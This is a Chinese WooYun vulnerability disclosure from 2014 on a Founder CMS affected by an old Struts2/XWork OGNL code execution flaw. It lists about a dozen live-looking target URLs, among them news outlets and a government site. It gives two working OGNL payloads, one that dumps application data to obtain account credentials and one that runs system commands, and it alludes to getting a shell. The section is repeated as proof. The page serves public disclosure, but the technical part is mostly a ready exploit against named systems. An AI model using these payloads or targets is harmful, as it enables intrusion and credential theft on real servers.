当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086298

漏洞标题:方正某cms系统存在代码执行

相关厂商:北京北大方正电子有限公司

漏洞作者: xcfres54

提交时间:2014-12-09 10:46

修复时间:2015-03-09 10:46

公开时间:2015-03-09 10:46

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-09: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

读书少,不知道怎么写

详细说明:

http://www.tsrb.com.cn:7001/login.action
http://cms40.legaldaily.com.cn:7001/enpadmin/login.jsp
http://www.hnic.com.cn:7001/enpadmin/login.jsp
http://sys.zqsb.com.cn:7001/enpadmin/login.jsp
http://jjc.hbsjtt.gov.cn:81/enpadmin/login.jsp
http://210.72.21.12:8008/enpadmin/login.jsp
www.china.com.cn
http://jjc.hbsjtt.gov.cn:81/enpadmin/login.jsp
http://61.153.35.46:7001/enpadmin/login.jsp http://www.jhnews.com.cn
http://210.192.127.111:8991/enpadmin/login.jsp
http://221.231.99.235:7001/enpadmin/login.jsp
ycnews.cn
st2代码执行 xwork版本较老
poc:
获取账号密码
?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%23application%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}
执行命令
?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
getshell
还需要讲吗

漏洞证明:

http://www.tsrb.com.cn:7001/login.action
http://cms40.legaldaily.com.cn:7001/enpadmin/login.jsp
http://www.hnic.com.cn:7001/enpadmin/login.jsp
http://sys.zqsb.com.cn:7001/enpadmin/login.jsp
http://jjc.hbsjtt.gov.cn:81/enpadmin/login.jsp
http://210.72.21.12:8008/enpadmin/login.jsp
www.china.com.cn
http://jjc.hbsjtt.gov.cn:81/enpadmin/login.jsp
http://61.153.35.46:7001/enpadmin/login.jsp http://www.jhnews.com.cn
http://210.192.127.111:8991/enpadmin/login.jsp
http://221.231.99.235:7001/enpadmin/login.jsp
ycnews.cn
st2代码执行 xwork版本较老
poc:
获取账号密码
?redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%23application%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}
执行命令
?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
getshell
还需要讲吗

修复方案:

禁止外部访问 另外搜索系统还有个注入 自己找

版权声明:转载请注明来源 xcfres54@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝